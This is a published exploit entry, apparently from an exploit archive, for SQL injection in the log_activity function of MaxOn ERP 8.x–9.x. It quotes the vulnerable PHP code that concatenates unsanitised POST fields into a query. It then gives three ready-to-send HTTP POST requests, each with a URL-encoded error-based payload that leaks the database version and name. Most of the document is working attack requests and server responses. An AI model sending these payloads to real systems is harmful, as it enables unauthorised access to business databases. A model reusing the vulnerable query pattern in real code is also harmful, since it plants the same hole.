MaxOn ERP Software 8.x / 9.x SQL Injection

`# Exploit Title: MaxOn ERP Software 8.x-9.x - 'nomor' SQL Injection  
# Dork: N/A  
# Date: 2018-10-15  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: http://www.talagasoft.com  
# Software Link: http://demo.maxonerp.com/  
# Software Download: https://datapacket.dl.sourceforge.net/project/maxon/maxon.rar  
# Version: 8.x-9.x  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# Description  
# All users can run sql injection codes.  
#   
# [PATH]/pos/controllers/User.php Line:350  
# [PATH]/application/controllers/User.php Line:414  
# function log_activity(){  
# $sql="select * from syslog where 1=1";  
# $nomor="";$jenis="";$user="";  
# if($this->input->post()){  
# if($nomor=$this->input->post('nomor')){  
# if($nomor!="")$sql.=" and no_bukti='$nomor'";  
# }  
# if($user=$this->input->post('user')){  
# if($user!="")$sql.=" and userid='$user'";  
# }  
# if($jenis=$this->input->post('jenis')){  
# if($jenis!="")$sql.=" and jenis_cmd='$jenis'";  
# }  
#   
# }  
# $sql.=" order by tgljam desc limit 1000";  
# $data["user"]=$user;  
# $data["nomor"]=$nomor;  
# $data["jenis"]=$jenis;  
#   
# $data['syslog']=$this->db->query($sql);  
# $this->template->display("log_list",$data);  
# }  
  
# POC:   
# 1)  
# http://TARGET/[PATH]/index.php/user/log_activity  
  
POST /index.php/user/log_activity HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: ci_session=3ba3e8a3b82a8e489cd16703fa5d0d327b84074c  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 253  
nomor=%27%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%32%32%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%58  
HTTP/1.1 500 Internal Server Error  
Date: Sat, 15 Oct 2018 00:22:45 GMT  
Server: Apache  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
X-Powered-By: PleskLin  
Connection: close  
Transfer-Encoding: chunked  
Content-Type: text/html; charset=UTF-8  
  
# POC:   
# 2)  
# http://TARGET/[PATH]/index.php/user/log_activity  
  
POST /index.php/user/log_activity HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: ci_session=3ba3e8a3b82a8e489cd16703fa5d0d327b84074c  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 252  
user=%27%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%32%32%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%58  
HTTP/1.1 500 Internal Server Error  
Date: Sat, 15 Oct 2018 00:29:02 GMT  
Server: Apache  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
X-Powered-By: PleskLin  
Connection: close  
Transfer-Encoding: chunked  
Content-Type: text/html; charset=UTF-8  
  
# POC:   
# 3)  
# http://TARGET/[PATH]/index.php/user/log_activity  
  
POST /index.php/user/log_activity HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: ci_session=3ba3e8a3b82a8e489cd16703fa5d0d327b84074c  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 253  
jenis=%27%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%32%32%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%58  
HTTP/1.1 500 Internal Server Error  
Date: Sat, 15 Oct 2018 00:35:52 GMT  
Server: Apache  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
X-Powered-By: PleskLin  
Connection: close  
Transfer-Encoding: chunked  
Content-Type: text/html; charset=UTF-8  
  
  
`